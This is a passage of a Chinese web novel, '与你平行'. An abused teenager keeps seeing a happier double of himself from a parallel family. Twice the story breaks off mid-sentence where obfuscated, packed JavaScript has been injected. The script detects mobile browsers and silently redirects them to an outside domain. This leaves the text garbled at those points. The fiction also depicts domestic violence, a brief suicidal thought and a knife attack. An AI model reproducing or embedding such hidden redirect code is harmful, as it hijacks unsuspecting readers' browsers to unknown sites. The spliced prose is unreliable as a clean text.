《与你平行》 1. 交汇 “你这个月发的钱呢?!在哪儿!??” 男人愤怒的声音像锥刀一样剜进陈亦临的耳朵里,他被对方巨大的力道掼到了地上,书桌上的东西被粗暴地扫落一地,分数并不高的卷子像揉皱的卫生纸,被撕裂践踏,仿佛在嘲笑他的异想天开。 “我告诉你,别想着回学校了,老老实实给我赚钱!”陈顺找到了他放钱的本子,他像只耀武扬威的斗鸡,用他粗大的手指数过一张张钞票,“操,就这么点儿?” 陈亦临目光阴沉地盯着他手里的钱,突然暴起一拳砸向陈顺,陈顺猝不及防挨了他一拳头,原本和顺的五官瞬间狰狞起来,他轻而易举地将陈亦临从身上撕了下来,然而暴怒中的少年像条疯了的野狗,带着要和他同归于尽的架势反击。 …… 打烂了一根腿的椅子被随意扔到地板上,陈顺骂骂咧咧地擦掉胳膊上的血,得意地嗤笑了一声:“跟你老子斗你还嫩了点儿,下次再敢这么没大没小,老子弄死你。” 陈亦临蜷缩在桌子底下,后背被桌腿硌得生疼,黏腻的睫毛让陈顺看起来有些模糊,右手腕已经弯折成了可怖的角度,他却感受不到任何疼痛。 这样右手没办法写字了。他有些解脱地想道。 不如就这样死了吧。 陈顺得意地吐了口痰,骂骂咧咧地走了,两张红色的钞票落在他手边,上面还留着油腻的指印子。 陈亦临转了转僵硬的眼珠,目光落在了旁边的窗户上,老旧的窗帘在阳光下映出婆娑树影,一阵风吹过,轻轻晃动,连带着周围的景象都变得扭曲模糊。 要爬起来,打开窗户,他家在五楼,不知道能不能成功…… 哒。 哒。 脚步声由远及近,原本散开的瞳孔因为恐惧集聚收缩,他几乎下意识地绷紧了后背,艰难地抬起胳膊捂住了自己的头。 然而预想中的疼痛并没有袭来,他也没有被人从桌子底下拽出来,取而代之是一声带着笑意的叹息。 陈亦临愣了愣,小心的放下胳膊,然而看见了一双拖鞋。 白色的,干干净净的拖鞋,上面印了一直卡通的大耳朵狗,毫无疑问,这根本是一双不可能出现在他家的一双鞋子。 对方应该是个男生,穿了双灰色的运动短袜,清瘦的脚踝随着他往前走两侧有些凹陷,修长的小腿很白,左膝盖上还穿着条黑色的护膝,只是再往上就看不到了,桌子挡住了他的视线。 “老爸,我知道了。”男生的声音有些无奈,“下次打篮球我一定注意。” “上一次你也是这么说的。”陈顺的声音一出来,陈亦临就僵在了原地。 他循声看向门口,就看见去而复返的陈顺,只是对方看上去瘦了不少,穿着他从未见过的白衬衣和西装裤,在解手腕上的表,脸上是陈亦临从来没有见过的温和笑意。 看起来竟然像个人。 真是见鬼了。陈亦临有些恶心地想。 “下次我一定遵守比赛规则。”男生拿着篮球走向陈顺,将球丢给他,“你也要多锻炼,小心被三高找上。” 陈顺单手接过球,道:“算了,我说了你也不听,等你妈回来再收拾你。” 男生似乎是笑了一声。 陈顺又说:“今天你过生日,想去哪里吃?” 男生似乎在说一个餐厅的名字,父子两个有说有笑,声音在陈亦临耳边逐渐模糊起来,他浑浑噩噩间忽然想起来,今天好像也是他的生日,只不过没有人记得。 他闭了闭眼睛,清晰地感受到身体的温度在下降,鼻腔里的血让他喘气都费劲,疼痛逐渐变得剧烈而密集。 男生似乎和“陈顺”碰了碰拳头,关上了房间门转过身来,陈亦临艰难地喘了口气,终于看清了他的脸,却在看清楚的一瞬脑子轰然炸开—— 那个男生赫然长了张和他一模一样的脸。 门后挂着的飞镖盘发出了咔哒的响声,像计时器最后一声,陈亦临眼前的景象再次开始扭曲,红白黑相间的色块拧成了一团乱麻,他终于彻底失去了意识。 —— “来了小陈。”吴时正在蒸鱼,见他来打了声招呼,“赶紧把米饭蒸上吧。” 陈亦临系好围裙,将口罩往上提了提,试图遮住颧骨上的青紫,倒出米饭拧开水龙头,开始熟练地淘米。 复位后的手腕被冰冷的水流冲刷,刺痛像针扎一样传来,他皱了皱眉,换了左手,但左手上被划开的伤口刚一沾水,就传来一阵生疼。 他甩了甩手上的水,问:“吴叔,有手套吗?” “有啊,你找找吧,应该在那边柜子里。”吴时忙得脚不沾地,催促道,“抓紧时间,马上就到饭点了。” “嗯。”陈亦临应了一声。 “还有啊,你这个月又请了三天假,我都快忙成陀螺了,虽然说工钱我照扣,但小陈啊,你也得体谅一下你吴叔不是?咱们做小本买卖的都不容易,你再这样我可就不留你了。”吴时见他真去拿手套,本来就不大的眼睛眯成了一条缝,挺着肚子不满地用勺子敲了敲不锈钢盘子。 “我下回注意。”陈亦临拉开柜子去找手套,手指上黏了一层油,柜子里呛人的油腻味让他下意识屏住了呼吸,“吴叔,这里没有。” “等会儿我找找。”吴时不耐烦道,“大小伙子戴什么手套,天还没冷呢,要是我雇的人都戴手套伙还怎么干?” 陈亦临起身将柜子门一关,沉默地走到水池边,拧开水龙头继续淘米。 他打工的这个地方是一所职校的食堂,他今年刚满十七周岁,初中毕业,正经的公司和稍微有点法律意识的小作坊都不会要他,吴时是陈顺的小学同学,在食堂里包了个窗口卖饭,这人舍不得花钱雇正经帮手,陈顺就让他过来先帮忙干活,一个月给他九百块钱,包一顿午饭。 陈亦临在这里干了半年,终于攒了五千块钱,结果前两天陈顺忽然回家,把钱拿走了。 食堂里逐渐响起了嘈杂的声音,潮湿的米饭香气和油腻的菜味混在一起,刚军训完的新生个个像饿死鬼投胎,疯狂地挤向窗口。 “师傅我要条鱼,多浇点汤!” “米饭多打点儿,哥,求你了!” “我要这个红烧肉,还有这个孜然蘑菇,加一碗鸡蛋羹!” “多来点米饭呗帅哥。”一个被晒得黢黑的小伙子冲他咧嘴笑,露出了排大白牙。 陈亦临往多给他盛了点,旁边的吴时没好气地瞪了他一眼:“你来盛鱼,起来。” 陈亦临和他交换了位置,红烧鲅鱼的香气直冲鼻腔,这鱼不大,是按条卖的,一个白白净净的男生递过盘子来:“你好,一条鱼一碗米饭。” 陈亦临看了他一眼,给他盛了条鱼,没来由地想起之前梦里的男生。 ——大概率是梦,又或者是幻觉,当时他被陈顺打了个半死,那人虽然长了一张和他一模一样的脸,但又完全不一样。 比他白,比他高,头发剪得整齐清爽,穿得干干净净,说话谈吐大方得体,一看就是那种老师喜欢的优等生。 操,肯定是陈顺把他打傻了,竟然让他梦见自己变成那副吊样,陈顺这死畜生也变成人了。 米饭里被浇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16560160|186930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了红烧鲅鱼的汤汁,香得离谱,他大口将米饭扒进嘴里,一筷子一筷子夹着碟子里的小咸菜,旁边和他一起吃饭的吴时看得肉疼:“哎,这是咸菜你不怕齁死啊?” 陈亦临舔了舔嘴唇:“还行,你做得咸菜香。” 在吴时控诉的眼神里,他又去添了一大碗饭,舀了两勺汤汁浇上,他瞪着餐盘里新鲜的鲅鱼几秒,恶狠狠地咽了咽口水,端着饭回到了座位上开始狼吞虎咽。 以前没钱吃不饱,吴时虽然抠不给吃肉,但是饭管够,午饭是他唯一的一顿饱饭,这半年他又开始蹿个子。 省吃俭用攒的钱全都被抢走,下个月发了钱他一定先吃饱,长得又高又壮,早晚弄死陈顺这个王八蛋。 吴时很不乐意他吃得多,临走前指了指堆在水池里的锅碗瓢盆:“记得把这些都洗了再走。” “知道了。”陈亦临抹了把嘴,撑得打了个饱嗝。 等他洗完了那些厨具,右手腕已经肿得不像样了,他甩了甩手,换上衣服戴好口罩出了食堂。 这是一所职业技术学院,里面的学生有些和他差不多大,他走在人群中不算违和,而且学校管得并不严,有时候下班早,他还会去蹭课,具体能蹭到什么课看心情和运气,有时候是汽修,有时候是理发,有时候是计算机,偶尔也能蹭到几节文化课。 有时候他觉得自己像只无头苍蝇到处乱撞,迫切地想要改变,却不知道该往哪里飞。 入秋之后晚上天有点凉了,他将手揣进了外套兜里往家走,操场上有几个学生在打篮球。 “传球!”有人喊了一声。 陈亦临听声音觉得耳熟,他停住了脚步,抬头望了过去。 那人穿着一身蓝白色的校服,身形灵活矫健,头上戴着条白色的发带,黑发在空气中划出一道漂亮的弧度,他应该是在笑,暖黄色的灯光下,眼睛里像是盛了汪清澈的泉水,耳朵后的皮肤因为运动泛起了好看的潮红。 “陈亦临!球给我!”有人在喊。 陈亦临有些恍惚,下意识以为对方是在叫自己,向前走了半步后猛地反应过来,震惊地看向那个和自己长得一模一样的“陈亦临”,对方举起篮球砸向他,他本能地抬起手挡在面前,然而那个篮球却穿过了他,落在了另一个人手里。 “陈亦临”笑着朝他跑过来,停在了他面前。 两个人离得极近,他甚至能感受到对方有些急促地呼吸,陈亦临目光呆滞地望着他,就听他对自己身后的人笑道:“打完这把回教室上自习,高三了抓点儿紧。” “哎呀知道了,你跟班主任似的。”那人越过陈亦临给了他一锤。 “陈亦临”笑着捂住了肩膀,目光同陈亦临有一瞬间的交汇。 陈亦临下意识地屏住了呼吸,他听见了自己胸腔中心脏剧烈跳动的声音,他抬起手伸向“陈亦临”的脸,却眼睁睁地看着自己的手穿过了对方的头颅。 “怎么了?”有人问。 “不知道,总觉得哪里怪怪的。”“陈亦临”有些疑惑地看着面前,“好像有人在摸我的脸。” 天空中飘起了细密的雨丝。 陈亦临惊恐地往后退了几步跌在地上,周围路过的学生有人过来扶起他,有人关心询问,然而他只死死盯着不远处的“陈亦临”,看着对方抱着篮球和别人勾肩搭背离开。 “同学你没事吧?”有人伸手在他眼前晃了晃,“同学?” 陈亦临僵硬地转动着眼珠,一骨碌爬起来冲出了人群。 陈顺这个王八蛋果然把他的脑袋打坏了! 他变成精神病了!! 2. 青柠 他仓惶地逃回了家。 称之为家也不够准确,之前他们一家三口住的房子早就被陈顺卖了,这个小两室也不知道陈顺怎么搞来的,他们就这样住着,也没见有人过来催房租。 他一进门就闻到了炒菜的香味,愣了一下。 “妈妈?”他鞋都没换,直奔厨房。 林晓丽正将鱼往盘子里放,闻言头也没抬,声音一如既往地冷漠:“吃饭。” “好。”陈亦临跑去洗了手又跑到厨房帮忙端菜。 原本乱糟糟的客厅被收拾得整齐干净,落满了灰的餐桌被擦得反光,断了电的冰箱被填满了蔬菜和肉,陈亦临有点兴奋地跟在她身后,给她递东西:“还炒什么菜?” “做个蒜蓉茄子,你爸爱吃。”林晓丽说。 陈亦临脸上的笑容瞬间一垮:“他今晚也回来?” “我给他打了电话,我们有事情商量。”林晓丽板着张脸说。 她长得是很好看的,完全不像四十多岁的样子,头发收拾得干净利索,描过的眉毛和化的妆也很漂亮,耳朵上还戴了副金耳环,陈亦临已经一年没见过她了,总忍不住看她,说话也小心翼翼的。 “妈妈,这次回来你还走吗?”他看着桌子上的菜,咽了咽口水。 “还没想好。”林晓丽掀起眼皮看向他,“你怎么瘦了这么多?” 陈亦临嘿嘿一笑:“没有吧,我平时吃得挺多的。” 林晓丽皱起眉:“你爸说给你找了活儿,你现在在干什么?” “在技术学院的食堂帮忙,老板是他朋友。”陈亦临抬手摸了摸鼻子。 林晓丽的目光在他红肿的手腕上一停,又飞快地移开:“食堂里能有挣几个钱,再说你爸那些朋友……” 她欲言又止,脸上浮现出了厌恶的神色,却又碍于什么没有继续说下去,转而道:“你好好挣钱,把钱攒起来以后自己用,别给他。” 她的目光扫过陈亦临脸上青紫的淤痕。 “嗯,知道了。”陈亦临垂下脑袋,放在膝盖上的手攥紧又松开,“妈妈,你这次要是走的,我能不能跟你一起?” 回答他的是林晓丽的沉默,就在陈亦临试图再说些什么缓解这尴尬的气氛时,传来了门锁转动的声音,他下意识地绷紧了腰背,盯着桌子上还在冒热气的饭菜。 “叫我回来干什么?”陈顺叼着烟,随手将外套扔到了沙发上,拖开椅子坐在了餐桌前。 “先吃饭。”林晓丽看向陈亦临。 陈亦临这才拿起筷子,伸向了心心念念的红烧鱼。 “啧,大人还没动筷子你吃个屁。”陈顺一筷子抽在了他的手背上。 火辣辣的疼传来,陈亦临咬了咬牙,放下了筷子。 看他顺从的样子,陈顺这才满意,他拿着筷子将鱼戳得乱七八糟,又将其他菜翻了翻,舔了舔筷子,以一种讥笑又轻蔑的眼神看向林晓丽:“哟,你在外边儿挣钱了啊,都舍得买这么多肉了,我还以为你在外边儿有人舍不得回来了。” 林晓丽没有看他,低头吃了口米饭。 陈亦临强忍着胸腔里的怒意,却没有插嘴——这种情形在他家不是第一次发生,他一旦向着林晓丽说话,就会彻底点燃陈顺的怒火,他敢和陈顺动手却打不过对方,只能让情况雪上加霜。 “离婚吧。”林晓丽放下手里的碗筷,目光空洞,语气里带着几分解脱的意味,“家里的所有东西我都不要。” 陈亦临僵在原地,他定定地望着林晓丽,有些艰难地蠕动嘴唇:“妈……” “你说什么?离婚?”陈顺仿佛听见了什么天大的笑话,他肥硕的身躯在椅子上颤动,被烟熏黄的牙齿裸露出来,像一头被激怒的野兽。 他粗硬的手掌重重地拍在桌子上,盘子移位发出了刺耳的摩擦声:“林晓丽,你能耐了啊!” 林晓丽沉默着,再精致的妆容也遮不住她脸上的苍白,她咬紧了牙,终于抬起头来对上了陈顺的视线,恐惧和愤怒几乎同时爆发,她竭力压住声音里的颤抖:“你说过你不会再去赌,结果又在外面欠了三十万!我怎么给你还?这日子你告诉我怎么过?陈顺,你以为我为什么走,我早就知道你在外面养了人了!” 陈顺像是被踩中了痛脚,他猛地起身掀翻了桌子,扬起手就扇向林晓丽。 “你再敢打她!”陈亦临瞬间暴起扑向了他。 然而他根本不是对手,陈顺是拳击手退役,个子将近一米九,两百多斤的体重,只用胳膊就直接将他掀飞出去。 陈亦临的后背砸在了碎裂的盘子上,却感受不到任何疼痛,眼看陈顺抓住林晓丽的头发就要将人拽进卧室,他直接进厨房抄起了把菜刀,用尽全身力气朝着陈顺的脖子砍去。 “陈亦临!”林晓丽尖叫了一声,也不知道从哪里来的力气挣脱了陈顺,扑上去拦住了陈亦临。 陈亦临眼底血红,他瞪着还想上前的陈顺怒吼:“你再敢碰我妈试试!” 林晓丽拼命抱住他的腰将他往后拖,声音里带上了哭腔:“陈亦临,把刀放下!” 陈顺笑得狰狞,他撸起袖子指了指自己的脖子:“来,往这儿砍,陈亦临,今天你要是砍不死老子,老子就弄死你们。” 陈亦临的胳膊因为过分用力在颤抖,他呼哧呼哧地喘着粗气,全身的血液都冲向了脑子,林晓丽好像在他耳朵边尖叫了一声,血瞬间湮没了他的眼眶,世界只剩下一片嗡鸣的噪音。 再睁眼,依旧是饭菜的香味。 “临临,快下楼,洗手过来吃饭。”是林晓丽的声音。 陈亦临有些疑惑地看着周围陌生的家居摆设,客厅明亮宽敞,置物架上摆满了各种奖杯和合照,里面的陈亦临总是站在陈顺和林晓丽中间,身后是各种他从未见过的景色。 有人从楼梯上走了下来。 是那个“陈亦临”,尽管他和自己长得一模一样,但陈亦临第一眼就认出了对方,大概是因为对方脸上总是挂着那种让人讨厌的笑。 “老爸呢?”“陈亦临”问。 “你爸爸公司加班,阿姨给他留了饭。”林晓丽笑眯眯地冲他招手,“过来,让妈妈抱抱。” “陈亦临”一脸无奈又抗拒的表情,却还是乖乖张开胳膊,被林晓丽结结实实抱在怀里,林晓丽道:“妈妈出差错过了你的生日,好难过哦。” “没关系,可以再补办一次。”“陈亦临”松开她,笑着给她拽开了椅子,“其实你是想吃那家餐厅吧?昨天视频看你一直咽口水,老爸都快笑疯了。” “哼,也不是很想吃。”林晓丽口是心非道。 “下次我们两个去,不带爸爸。”“陈亦临”安慰道。 林晓丽这才满意,拿起筷子给他夹菜:“给你做的红烧鲈鱼和清蒸的金鲳鱼,明天让你爸去给你买更新鲜的,不过你怎么突然想吃鱼了?以前不是不爱吃吗?” “不知道,最近总觉得特别饿,很想吃鱼。”“陈亦临”看上去有些郁闷。 陈亦临站在餐桌边上,能看见他们,能闻到味道,却无法触碰,他有些困惑地伸出手碰了碰“陈亦临”的后脑勺,对方忽然转过头来。 陈亦临吓得往后一蹦。 “怎么了临临?”林晓丽疑惑。 “感觉有人在摸我的后脑勺。”“陈亦临”捂住后脖颈,拧起眉毛,却什么都没看见。 “是不是最近学习压力太大了?”林晓丽有些担忧地看着他,“成绩不重要,身体才是要放在第一位的。” “我知道妈妈,我有好好休息。”“陈亦临”压下眼底的狐疑,闷头开始吃鱼,“可能是最近天气变凉了。” 林晓丽一拍手:“那我们去商场买衣服吧。” “陈亦临”无奈地笑道:“老妈。” 林晓丽一脸哀怨:“知道了知道了,你要学习,那我让你爸陪我,” 陈亦临站在旁边,看着母子二人温馨的互动,用力地闭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16560161|186930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了闭眼睛。 真是见鬼了,难道是因为现实太操蛋,他已经开始臆想这么离谱的梦了吗? 还不如梦自己中了一个亿。 “陈亦临?醒了吗?” 陌生的声音忽然传进耳朵,陈亦临猛地睁开眼睛,就看见了一张陌生的脸。 “醒了就好,这个是缴费通知单,等会儿你家长来了记得让他们去缴费。”护士给他换了个新的输液袋,“另外注意一下你的右手,你脱臼复位得不太好,而且片子显示有轻微骨裂,长好之前别乱动啊。” 陈亦临有些茫然地看着她:“谁送我来的?” “应该是你妈妈吧。”护士摇了摇头。 一旁病床上的中年人忍不住开口:“现在的孩子是真不让父母省心,打架打成这样,你爸妈不得急疯了。” 陈亦临没理他,起身就要下床,护士赶紧拦住他:“哎,你别乱动,你现在脑震荡应该卧床休息。” 陈亦临刚要推开她,病房门被人打开,林晓丽带着饭盒走了进来,声音冷淡:“醒了?” 陈亦临见她戴着口罩,眼底的怒火瞬间升腾而起:“陈顺这个王八蛋——” 林晓丽对护士解释了几句,拉上了他们这边的帘子,单薄的帘子将床位围成了一个隐蔽的空间,她放下饭盒,坐在了旁边的椅子上,疲惫又麻木地看了他一眼。 她把口罩摘下来,露出了干净的脸:“你拿着刀,他没敢动手。” 陈亦临又紧张起来:“他死了吗?” “没有,他害怕躲开了,胳膊破了。”林晓丽静静地看着他,“以后做事不要这么冲动,你杀了他就要坐牢。” 陈亦临扯了扯嘴角,疼得倒吸了一口凉气。 “你爸答应跟我离婚了。”林晓丽语气十分平静,她抬手将碎发拢到耳后,耳垂上贴着一小块棉纱,隐隐有血迹透出来,那对漂亮的金耳环已经消失不见。 “真的?”陈亦临有些不敢相信,却不可抑制地高兴起来。 “前提是我帮他还二十万的债,你跟着他。”林晓丽说,“不然他不离。” 陈亦临呆住,他的喉咙干涩,鼻腔里生出了股酸涩的疼,他有些迟钝地望着林晓丽:“妈妈,其实我——” “我忍了他这么多年,就是想等你长大,但我实在忍不下去了。”林晓丽看着他,见陈亦临眼眶发红,声音却越发冷酷,“你马上就成年了,自己想办法离开吧,不然早晚有一天会被他打死。” 陈亦临手足无措地看着她,一个字都说不出来。 “这张银行卡里有一万块钱,密码是你生日,你自己藏好。”林晓丽将一张银行卡放到床上,“我以后再也不会回芜城了。” 她起身,头也不回地走出了病房。 陈亦临张了张嘴,想大声地喊住她,却又害怕她真的停下脚步。 不知道过了多久,嘴角传来了点带着血腥气的咸味,他僵硬地抬起胳膊,伸手抹了把脸上的眼泪。 他应该为妈妈感到高兴,终于能逃离这个烂泥潭一样的家。他这样想着,却又不可避免地感到迷茫,妈妈走了,他又应该逃到哪里去呢? “是哭了么?”一道陌生又有点熟悉的声音在他耳朵边响起。 陈亦临猛地抬头,幻觉中的“陈亦临”正站在病床边上,带着几分疑惑和新奇朝他伸出了手。 修长的手指穿过了陈亦临的脸颊,“陈亦临”似乎惊讶了一瞬,但很快又恢复了镇定,他微微弯下腰,用手指虚虚地刮过陈亦临眼角的泪,而后凑近仔细观察着对方的脸。 陈亦临甚至能感受到两个人交缠的呼吸,他不受控制地往后微微仰头。 “陈亦临”挑了一下眉毛,冲他露出了个极具玩味的笑:“你能看见我啊。” 冰冷的液体穿过血管进入身体,连带着心脏的跳动都迟缓了几分,陈亦临缓缓地瞪大了眼睛。 他闻见了对方身上一股极淡的,青柠味的香气。 3. 油菜 真是见鬼了。 陈亦临绝望地闭上了眼睛,做了几秒的心理建设后再睁眼,那个“陈亦临”离得他更近了一些。 温热的呼吸喷洒在脸上,“陈亦临”笑道:“朋友,我能感受到你的呼吸。” 卧槽。 卧槽! 陈亦临的冷汗“唰”得冒了出来,他默默地拽掉手背上的输液针,下一秒连滚带爬地跑出了病房,一边跑一边声嘶力竭地大喊:“医生!医生!!!” 被他径直“穿”过的陈亦临不尴不尬地摸了摸鼻子,揣着兜跟了出去。 医生办公室。 陈亦临死死拽住对方的袖子,脸色白得吓人:“我发誓我说得都是真的,我不是脑震荡,我肯定是得了精神病!你快给我开点儿药吃!” 坐在椅子上的医生年纪轻轻却大腹便便,他推了推鼻梁上的黑框眼镜,淡定道:“小伙子,遇事不要慌张嘛,年纪轻轻的,不管发生了什么都要平静地面对嘛,你说我说得对不对嘛?先把我的胳膊松开嘛,不然我没办法给你开药嘛。” 陈亦临深吸了一口气,松开了他的袖子,使劲咽了咽唾沫:“我说得都是真的。” “啊,虽然我不是精神科的专家,但你这个应该是属于幻视幻听的症状,不过嘛,我们这个首先要排除一下脑部的器质性病变,懂我的意思嘛。”胖医生撕下一张单子,拿起笔来开始写,“这样吧,你已经拍过脑部CT了,其实我看着就是有点脑震荡,你要是不放心我们就做一下脑部的核磁共振,我们排除掉这些病变以后嘛,再考虑一下精神方面的问题嘛……” 陈亦临听得云里雾里,愣愣地点了点头。 “嗐,年轻人有什么事过不去的嘛,我们要往前看,不要给自己太大的心理压力嘛。”胖医生把单子递给他,“先去缴费吧。” 陈亦临攥着单子出了门,拧起眉盯着那些爬虫一样的字想找价格表,旁边有人探过头来跟他一起看,吐槽道:“这都写得什么玩意儿。” “就是,连价格都找不到。”陈亦临气闷。 旁边的人道:“价格不会写在病例上,你去护士站或者缴费窗口问一问。” “哦,谢——靠!”陈亦临抬头,猝不及防和对方来了个脸对脸,腿一软差点跪下。 “陈亦临”笑吟吟地看着他:“原来不止能看见,还能听见啊。” 病房走廊上零星走过几个病人和护士,陈亦临警惕地瞪圆了眼睛,“陈亦临”学着他的样子也瞪圆了眼睛,两个人仿佛在面对面照镜子,但他穿得是病号服,对方却穿了一身印着卡通大耳朵狗的灰蓝色睡衣——打死他都不会穿这么幼稚的衣服! “陈亦临”噗嗤一声笑了出来,抬手在他面前晃了晃:“嗨~” 陈亦临退后一步。 陈亦临拔腿就跑。 “陈亦临”不紧不慢地追在他身后,慢悠悠道:“朋友,不要害怕呀,我还没见过和我长得一模一样的人,真的不认识一下吗?” 陈亦临像无头苍蝇一样乱蹿,最后被逼到了空无一人的楼道里。 始作俑者对他露出了一个无奈的笑容:“幸亏是晚上,不然小区里的其他居民看到我四处乱跑,肯定以为我中邪了。” 虽然这样说,但他却饶有兴致地观察着陈亦临的一举一动。 陈亦临二话不说。 陈亦临拽开消防箱。 陈亦临抄起消防斧朝着他的头劈了上去。 “陈亦临”震惊地看着他,下一秒就消失在了原地。 消防斧砸在楼梯扶手上的声音悠扬婉转,陈亦临的虎口酥麻,接着斧头脱手,他抱着手腕噗通跪在地上,瞬间飙出了眼泪:“嗷——” 斧头被放归原位,但陈亦临的骨头就够呛能放归原位了。 原本只是骨裂的手腕被打上了厚厚的石膏吊在了脖子上,胖医生万分不解地看着他:“只是去缴个费你是怎么弄骨折的?” 陈亦临坐在病床上,垂头丧气:“我又看见那个鬼了。” 胖医生说:“那个和你长得一模一样的幻觉?” “他会说话,会呼吸,还跟我打招呼。”陈亦临惊恐地抬起胳膊比划,“他还让我去缴费窗口和护士站问交多少钱!” 胖医生摸了摸下巴:“那你能碰到他吗?” 陈亦临摇了摇头,脸色煞白:“所以他肯定是只鬼。” 旁边病床上的中年人搓了搓胳膊:“说得怎么这么瘆人。” “什么鬼啊神啊,这叫幻听幻视嘛。”胖医生叹了口气,“要不你先吃点镇静类的药物,放轻松,别紧绷着。” 中年人看热闹不嫌事大:“嗐,就算是鬼也没啥好怕的,他又打不到你,叔给你出个主意,下次你再见到他就骂他,骂得越脏越好,鬼都怕这个。” 陈亦临欲哭无泪,但好在有胖医生和中年人的安慰,他觉得这件事情也不是不能解决,然而等到了护士站去缴费时,他才真感觉天塌了。 “你说多少钱?”他捏着手里那张银行卡。 “住院押金两千,还没做的检查费待缴一千六,其他费用一千三百九十六,一共四千九百九十六。”护士说。 陈亦临默默地将银行卡放回了兜里,硬着头皮道:“那我不检查了,能直接给我办出院吗?” 护士抬头看了他一眼:“你今天刚来吧?而且你脑震荡加骨折,最好住院观察一下。” 陈亦临木着脸道:“再观察我就死翘翘了。” 他果断放弃了检查,第二天逮着胖医生软磨硬泡了半天终于办了出院,交完各种费用,卡里还剩下八千六百零四块,看得他心里直滴血。 他原本打算坐公交车回家,结果掏遍了兜也没找到零钱,咬了咬牙直接走路回去,脚底板被不太合脚的鞋子磨得生疼。 他不敢把这张银行卡带回家,陈顺疯起来能把家都拆了,之前那五千块钱他藏到地板底下都能被翻出来,要是这张卡被陈顺找到,又免不了一顿毒打。 老小区没有物业,在西北角有个废弃的电表屋子,他趁着四下无人溜了进去,将那张银行卡用塑料袋包起来,塞进了墙壁的砖缝了,想了想,他又拽过旁边废弃的铁箱子将那堵墙挡住了一半,才勉强放下心来。 他搓了搓手上的灰上了楼,转动钥匙的时候提心吊胆,生怕陈顺在家,直到推开门屋子里静悄悄一片,他才松了口气。 原本被林晓丽收拾干净的房子又变成了垃圾场,昨天被掀翻的餐桌依旧倒在地上,裂开的地板上洒满了菜汤,开灯后照得满地油光,门口的鞋架倒在门口,鞋子散落得到处都是,沙发上扔着陈顺脏兮兮的外套,茶几上扔满了烟头…… 陈亦临想拔腿就跑。 他以前待在这里是要等妈妈回家,但现在妈妈说永远不会再回来了,那他也要永远不回来了。 但是要攒钱,他听别人说租房子要好多钱,还要找个远一点的地方,不能被陈顺找到…… 他归拢好鞋架,扶起倒在地上的餐桌和椅子,擦干净茶几上的烟灰,将地上的菜叶子和烟头扫进垃圾桶,又艰难地开始拖地——一只手动起来很不舒服,等他收拾完屋子,外面的天色已经彻底黑了下来。 他单手叉腰,满意地看着自己的杰作,炒菜的香气从窗户外面飘进来,闻起来像是炖排骨。 饿意瞬间汹涌而来。 他在空荡荡的屋子里转了一圈,停在了冰箱前,里面是林晓丽买来的蔬菜和水果,他拿了把油菜,想了想,又拿了根葱。 他试图回忆起林晓丽做饭的步骤,但脑子里全都是厨房里的争吵声,陈顺在怒骂,林晓丽在尖叫哭泣,碎裂的盘子和掀翻的锅子,数不清的争吵和谩骂湮没了厨房,蔓延到他躲着的衣柜里,将他缠绕得喘不上气,脑子里只剩下恐惧和饿意。 他沮丧地垂下头,盯着绿油油的菜叶子看了几秒,然后啃了一口。 很难形容是什么味道,像在吃草,但应该能抗饿,嚼得久了还能唱出点甜味来。 陈亦临拿着油菜坐在餐桌前,啃了一半才想起来没洗,不过一点农药残余是吃不死人的,他这样判断着,眼前的景象又开始模糊。 他近乎麻木地看着眼前的场景变换,好几千的检查费足够磨炼出他坚强的意志,不管是精神病还是见鬼都无所谓了,休想让他从兜里掏出这么多钱。 他冷酷地嚼着嘴里的菜梆子。 哼,就当看电影了,还不用花钱。 宽敞明亮的开放式厨房里,“林晓丽”和“陈顺”穿着围裙,正一边聊天一边做饭。 “这条鱼可新鲜呢,钓它上来费了我老鼻子劲了,今天务必让我亲自送它上路。”陈顺动作麻利地刮着鱼鳞。 “你还好意思说,钓了三天钓上一条这么丁点儿大的鱼。”林晓丽正在煲汤,她穿着漂亮的围裙,上面印着只戴着蝴蝶结的漂亮小狗。 陈亦临觉得很好看,很符合他妈妈的气质。 “那怎么了,我大儿子要吃鱼,我就是去河里扎猛子也得给他捞上一条来。”陈顺的围裙上也是只狗。 陈亦临撇撇嘴,虽然这个“陈顺”像个人,但顶着那张脸说出这种话来怎么听怎么恶心。 呸,虚伪。 “好好好,老公真棒。”林晓丽踮起脚来亲了他一口。 陈亦临:…… 他感觉眼睛受到了攻击,恶狠狠啃了口菜叶子泄愤,被苦得拧起了眉。 “让我想一想啊,一道排骨炖山药,一道红烧鱼,一道白灼虾,再炒个青菜吧。”林晓丽像只花蝴蝶在宽敞的厨房里飞来飞去,“就做临临爱吃的清炒小油菜。” 陈亦临有点牙酸,他记得只有小时候林晓丽才喊他临临,听起来怪怪的。 “少放点油,菜先焯下水——”陈顺处理好鱼,不怎么放心地凑上去,“算了,还是我来吧。” “你这就有点瞧不起人了啊老陈同志。”林晓丽嗔怪地看了他一眼,但还是将菜递给他。 陈顺得意地哼笑了一声:“请叫我陈大厨,林晓丽同志。” 林晓丽和他挨在一块儿,一脸崇拜地看着他:“老公你真是上得厅堂下得厨房,爱你。” 陈顺给她抛了个飞吻。 陈亦临木着脸嚼着菜叶子,想拿把刀把陈顺砍成臊子。 “亲爱的老爸老妈,请注意你们的言行,你们儿子还在这里。”一道熟悉的声音幽幽地在陈亦临背后响起。 